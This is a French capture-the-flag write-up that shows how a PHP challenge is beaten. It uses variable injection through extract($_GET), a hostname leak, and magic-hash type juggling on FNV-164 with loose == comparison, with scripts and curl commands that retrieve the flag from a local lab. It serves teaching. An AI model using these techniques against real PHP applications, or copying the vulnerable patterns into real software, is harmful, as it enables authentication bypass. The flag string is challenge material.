Découverte de l’application
La première chose que l’on voit en arrivant sur le site est le code php suivant:
<?php
error_reporting(0);
include('flag.php');
$salt = bin2hex(random_bytes(12));
extract($_GET);
$secret = gethostname() . $salt;
if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret) {
if (hash('fnv164', $password) == hash('fnv164', $secret)) {
exit(htmlentities($flag));
} else {
echo('Wrong password!');
exit($log_attack());
}
}
highlight_file(__FILE__);
?>
Plusieurs choses sont importantes à remarquer:
error_reporting(0)
: qui signifie qu’aucun message d’erreur ne sera affichéinclude('flag.php')
: un fichier flag.php est présent sur le serveur et inclue dans la pageextract($_GET)
: on va pouvoir injecter les valeurs que l’on souhaite aux variable du script à partir de cette ligne en les passant comme paramètre get (?variable=valeur) à la page. Les variables que l’ont peut écraser sont :$salt
,$password
&$log_attack
exit(htmlentities($flag))
est visblement la partie du code que l’on souhaite exécuterexit($log_attack())
va nous permettre de faire appel à une fonction sans paramètre grâce à l’injection de variable
Premier barrage
if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret) {
Pour passer cette condition il faut donc injecter une variable $password
qui doit faire la taille de la concaténation du résultat de gethostname()
que nous ne maîtrisons pas et de $salt
que nous pouvons contrôler. Leur valeurs doit par contre être différente.
Pas très envie de me prendre trop la tête dessus on va déterminer la taille de gethostname()
avec un petit script.
<?php
$size = 23;
do {
$size++;
$contents = file_get_contents('http://localhost:8000/?password='.str_repeat('A', $size));
} while(strpos($contents, "error_reporting") !== false);
echo ($size - 24) . PHP_EOL;
On sait déjà que le $salt
d’origine est la représentation héxadécimale de 12 bytes qui fait donc 24 caractères, pas besoin d’itérer sur des longeurs inférieures. On apprend donc que gethostname()
est une chaîne de 12 caractères. Notre variable password devra être une chaîne de 36 caractères pour passer la première condition avec le salt d’origine.
> curl http://localhost:8000/\?password\=`php -r "echo str_repeat('A', 36);"`
Wrong password!
Première barrière franchie! Il reste maintenant à l’exploiter, nous pouvons exécuter cette partie du code à volonté:
echo('Wrong password!');
exit($log_attack());
Nous devons trouver quoi inject à log_attack pour avancer, j’ai tout d’abord penser à get_defined_vars mais nous n’avons aucun moyen d’afficher son retour trop complexe. La clef était sous mon nez, nous pouvons récupérer le dernier paramètre que nous n’avions pas gethostname()
!
> curl http://localhost:8000/\?password\=`php -r "echo str_repeat('A', 36);"`\&log_attack=gethostname
Wrong password!049ad39236fd
Notre hostname est donc “049ad39236fd”! Avec cette information, nous pouvons nous attaquer à la seconde barrière.
Seconde barrière
if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret) {
if (hash('fnv164', $password) == hash('fnv164', $secret)) {
Il faut donc passer ces 2 conditions en même temps, maintenant que nous avons le hostname, il pourrait sembler simple de faire en sorte d’injecter les bonnes valeurs et faire en sorte que $password
et $secret
soit identiques pour générer le même hash (?password=049ad39236fd123&salt=123 par exemple), mais la première condition nous en empêche.
Une première piste, serait de générer une collision de hash, à savoir que 2 chaînes de caractère différentes passé à la même fonction de hashage génère un hash identique. Mais nous avons une partie de la chaîne d’entrée imposée (le hostname), et trouver des collisions pourrait être assez long, la fonction de hash utilisée n’étant pas aussi courante que md5 par exemple, pour lequel nous pourrions trouver des tables pour en chercher.
La seconde piste est plus discrète, il faut s’apercevoir que l’opérateur de comparaison est ==
qui est sensible au type juggling (exemples plus concret). Il faut aussi savoir que la fonction hash retourne la représentation hexadécimal du hash (sauf si son 3ème paramètre est à true), ce qui signifie ici que 2 hashs commencant par ‘0e’ suivi d’uniquement des chiffres seront considérés équivalent (0 == "0" == "0e123" == false
), si la fonction hash pouvait retourner false, nous aurions aussi pu essayer de déclencher une erreur.
Donc pour résumer, nous connaissons le retour de gethostname()
, nous pouvons fixer la valeur de $password
et de $salt
. Nous devons donc injecter un password qui contient le hostname + une chaîne équivalente au salt qui donne un hash de type 0e\d+
et un salt qui donnera un hash équivalent une fois concaténé au gethostname()
. Les 2 hashs seront donc phpiquement vrai.
Un script pour nous générer ces fameux magic hashes (car nous dépendons de gethostname
comme préfixe, nous ne pouvons pas juste en prendre au hasard sur internet).
<?php
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$hostname = '049ad39236fd'; // Seul paramètre à changer en fonction de ce que vous avez chez vous
function random_string($length, $characters_set) {
$random_string = '';
for ($i = 0; $i < $length; $i++) {
$character_index = rand(0, strlen($characters_set) - 1);
$random_string .= $characters_set[$character_index];
}
return $random_string;
}
while (true) {
$salt = bin2hex(random_bytes(12));
$password = $hostname . $salt;
$hash = hash('fnv164', $password);
if (str_starts_with($hash, '0e')) {
$payload_part = substr($hash, 2);
if (is_numeric($payload_part)) {
echo sprintf('%s - %s - %s', $hash, $password, $salt) . PHP_EOL;
}
}
}
Vous allez être surpris du nombre détectés et à la vitesse à laquelle ils le sont.
0e010093820489e6 - 049ad39236fdbc03058c4b4269029069a509 - bc03058c4b4269029069a509
La première valeur est le hash généré, la seconde la valeur qu’il faut injecter à password pour avoir ce hash, la troisième est la valeur à injecter a salt pour générer ce hash. Pour rappel il faut pour la première condition que les 2 chaînes soient différentes, il faut donc prendre le password d’un hash et le salt d’un autre.
> curl http://localhost:8000/\?password\=049ad39236fd6a36e02d970d23dfcf74578c\&salt\=d5eaa9e2c0118ca1fac41dfb
FCSC{d090643090b9ac9dd7cddc1d830f0457213e5b50e7a59f1fe493df69c60ac054}
Félicitations, cette protection “salée” est bypassée!